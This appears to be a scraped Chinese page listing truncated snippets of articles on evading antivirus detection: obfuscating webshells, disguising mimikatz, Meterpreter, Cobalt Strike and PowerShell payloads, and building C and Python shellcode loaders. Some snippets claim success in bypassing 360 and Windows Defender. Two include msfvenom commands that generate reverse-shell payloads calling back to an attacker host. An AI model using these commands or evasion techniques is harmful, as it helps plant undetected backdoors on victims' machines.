免杀技术
网安技术（业务）交流，培训咨询请微WhoamiPriv
webshell免杀无扩展免杀1.php加密这里是利用phpjiami网站进行加密，进而达到加密效果 加密前：
查杀效果 [图片] [图片] 可以看到这里D某和某狗都查杀 里用php加密后效果 [图片] 查杀效果 [图片] [图片] 可以看到这里只有D某会显示加密脚本，而某狗直接绕过 2.dezend加密 http://dezend.qiling.org/encrypt.html [图片] [图片] 免杀效果 [图片] 可以看到dezend加密的特征还是太过明显 3.z5encrypt https://z5encrypt.com/encrypt/build [图片] …
我的免杀之路：利用darkarmour实现mimikatz和MSF的免杀
公众号：明联安全
0x1 mimikatz免杀 [图片] [图片] 这里加密字节的过程比较久，尝试运行bypass_mimikatz.exe [图片] 运行成功，看看免杀效果如何 Bypass 360 success! [图片] Bypass Windows Defender success! [图片] V站评分10/66 [图片] 0x2 MSF免杀先生成可执行文件 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.160.128 LPORT=4488 -f exe -o msf.exe [图片] [图片] 此次的加密等级设置为10，看运行如何 [图片] 运行成功，看看免杀效果如何 Bypass 360 success! [图片] Bypass Windows Defender su…
免杀技术- Python分离免杀
网络安全、代码审计、Web渗透、无线安全
0x00 前言最新复习了一下鱼叉攻击的内容，发现在制作木马这一块过不去了，各种被查杀，于是又重新复习了一下免杀这块的内容。 网上也有很多教程文章，还是不错的，本文将使用CS作为例子，MSF其实差不多的，废话不多说，直接开始！ 0x01 Shellcode Loader原理我们做免杀之前先了解一下一些基础知识，比如说shellcode是什么。 shellcode是一段用于利用软件漏洞的有效负载代码，以其经常让攻击者获得shell而得名 shellcode loader…
浅谈CS免杀和使用
公号：掌控安全EDU# 欢迎关注了解更多干货！
作者：掌控安全学员-hpb1一.Cobaltstrike简介作为一款协同APT工具，功能十分强大，针对内网的渗透测试和作为apt的控制终端功能，使其变成众多APT组织的首选 fireeye多次分析过实用cobaltstrike进行apt的案例。 Cobaltstrike安装 CS需要一个服务器来进行，我们把它放到服务器上。 然后运行 ./teaserver ip 密码即可。 [图片] 然后使用CS客户端连接即可，输入对应ip、端口和密码。 [图片] Cobaltstrike生成木马 首先创建监听器 [图片] 攻击-》生成后门…
Powershell免杀的探索
公众号:猪猪谈安全 网络安全资料公众号自取。
关于Powershell免杀的探索文章涉及的技术并不深，只是本人在学习powerhshell免杀过程中的记录，文章的内容将涉及到 powershell无文件落地上线cs、目标不出网解决办法、bypass最新360 火绒技巧以及对powershell脚本和命令混淆过程及其调用方式的绕过。不会再复述powershell的基础知识，过程中需要理解的部分，我会尽可能言简意赅，本文主要思路来源于Chabug 论坛由于是每晚下班写一部分 时间线会有出入还请多多包涵 有朋友问我 为…
闲谈Webshell实战应用
公众号:猪猪谈安全 网络安全资料公众号自取。
[图片] 文件上传漏洞是渗透测试中很常见的漏洞之一，也是我们攻防演练或者安全测试中快速getshell的一种途径，当然发现文件漏洞并不一定能成功getshell，真实环境下必不可少会存在waf或者其他拦截设备，阻碍我们成功打进目标。这篇文章就聊聊我平时渗透测试中经常使用的webshell免杀方法。 动态免杀流量加密webshell冰蝎和蚁剑平时渗透测试中经常使用的就是冰蝎和蚁剑，对于我来说用的冰蝎多一点，冰蝎刚开始的时候免杀效果特别好，但…
shellcode免杀丨C语言三条指令免杀360！你还困吗？
如果你想学编程可以关注我的专栏，欢迎到访~
shellcode免杀（1）C语言三条指令免杀360✉ 1简介描述有错的地方各位师傅海涵。经过一下午的C语言测试，得出了十多种过360的·方法，这里拿三种c的方式过360（思路大体相同），还有一个c++的免杀360和火绒都可以过等有时间都可以跟大家更新。 ✉ 2免杀过程废话就不多讲了对于初学者友好发展，先看一遍制作过程，我们准备好msf和cs的shllecode msfvenom -p windows/meterpreter/reverse_tcp LHOST="自己IP" LPORT="自己的端口" -f…
免费的其实都还好，只要是付费的都比较难。 [图片] 你就这样想，做病毒分析的人，他们可以通过底层的调试和分析出来病毒的特征，那么付费的工具是否也具备这种HOOK 底层的功能呢？那么如果具有的话，付费的杀软是不是就相对比较难以绕过呢？ 那么免费的为什么好绕过呢？ 因为免费的杀软，特征库不全，那么利用现成的修改特征的工具，那么免杀就出现了，免费的杀软也就从而被绕过了。 所以并不是，那个杀毒软件最难搞，是只要收费的，都…
远控木马免杀手法科普？病毒与杀毒软件的战斗史
T00ls元老核心，转战专业0基础培训高级渗透工程师
进群学习: 917062316
黑客联播系列开播了，由智卓安全董老师，带小伙伴们进入黑客江湖，讲你所不了解的黑客故事
有料，真实，江湖，尽在黑客联播
